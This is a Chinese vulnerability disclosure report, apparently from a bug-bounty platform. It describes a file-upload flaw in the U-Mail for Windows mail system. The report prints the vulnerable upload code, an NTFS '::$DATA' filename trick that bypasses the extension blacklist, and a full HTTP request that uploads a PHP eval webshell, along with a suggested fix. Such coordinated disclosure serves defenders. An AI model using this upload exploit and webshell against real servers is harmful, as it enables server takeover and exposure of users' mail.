漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:U-mail邮件系统又一getshell
提交时间:2014-12-06 17:33
修复时间:2015-03-06 17:34
公开时间:2015-03-06 17:34
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
无
漏洞详情 披露状态:
2014-12-06: 细节已通知厂商并且等待厂商处理中 2014-12-11: 厂商已经确认,细节仅向厂商公开 2014-12-14: 细节向第三方安全合作伙伴开放 2015-02-04: 细节向核心白帽子及相关领域专家公开 2015-02-14: 细节向普通白帽子公开 2015-02-24: 细节向实习白帽子公开 2015-03-06: 细节向公众公开
简要描述: U-mail邮件系统某处处理不当,导致getshell
详细说明: 版本:U-Mail for Windows V9.8.57 测试帐号:hello0001@fuck.com 测试主机:windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置] 首先需要获取用户的UserID,因为其缓存目录路径为 umail\WorldClient\html\client\cache\{userid}\ 获取用户id的接口为 http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse= 1&keyword=hello0001
得知userid为3 上传缺陷 漏洞文件,umail\WorldClient\html\client\mail\module\o_attach.php 代码
if ( ACTION == "attach-upload-batch" && $_FILES ) { $file_name = $_FILES['Filedata']['name']; $file_type = $_FILES['Filedata']['type']; $file_size = $_FILES['Filedata']['size']; $file_source = $_FILES['Filedata']['tmp_name']; $path_target = getusercachepath( ); $not_allow_ext = array( "php", "phps", "php3", "exe", "bat" ); $res_data = array( ); foreach ( $file_source as $k => $v ) { $file_id = makerandomname( ); $file_suffix = getfilenamesuffix( $file_name[$k] ); if ( in_array( $file_suffix, $not_allow_ext ) ) { $res_data[] = array( "status" => "0", "message" => el( "不支持该扩展名文件上传", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $file_target = $path_target.$file_id.".".$file_suffix; if ( !move_uploaded_file( $v, $file_target ) ) { $res_data[] = array( "status" => "0", "message" => el( "写入文件出错,请与管理员联系!", "" ), "filename" => $file_name[$k], "filesize" => $file_size[$k], "file_id" => $file_id ); } else { $res_data[] = array( "status" => "1", "filename" => trim( $file_name[$k] ), "filesize" => $file_size[$k], "file_id" => $file_id ); $_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name[$k], "type" => "1", "path" => $file_target, "size" => $file_size[$k] ); } } } dump_json( $res_data ); }
之前版本允许传php文件,最新版采用了黑名单机制,不允许传php文件,无法绕过其后缀检测。但是利用NTFS的ADS特性,可以绕过其黑名单机制,如图 发送邮件,选择拖拽添加附件,burpsuite拦截包,修改文件名为s.php::$DATA即可绕过,如图
POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1 Host: mail.fuck.com Proxy-Connection: keep-alive Content-Length: 233 Origin: http://mail.fuck.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh Accept: */* Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-compose Accept-Encoding: gzip,deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff ------WebKitFormBoundary37jD3r27mTgTBrAh Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA" Content-Type: application/octet-stream <?php @eval($_POST['a']);?> ------WebKitFormBoundary37jD3r27mTgTBrAh--
则获得的webshell地址为 http://mail.fuck.com/webmail/client/cache/3/14178435495.php
漏洞证明: 修复方案: 由于该邮件系统采用的IIS+Fastcgi模式跑的php,且为windows主机,会面临很多问题,比如解析漏洞等等。而针对该系统上传产生的问题,最简单的修复方案就是将上传的文件目录统一放在非web目录
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:16
确认时间:2014-12-11 08:23
厂商回复: cnvd确认并复现所述情况,由cnvd按以往建立的联系渠道向软件生产厂商邮件通报。
最新状态: 暂无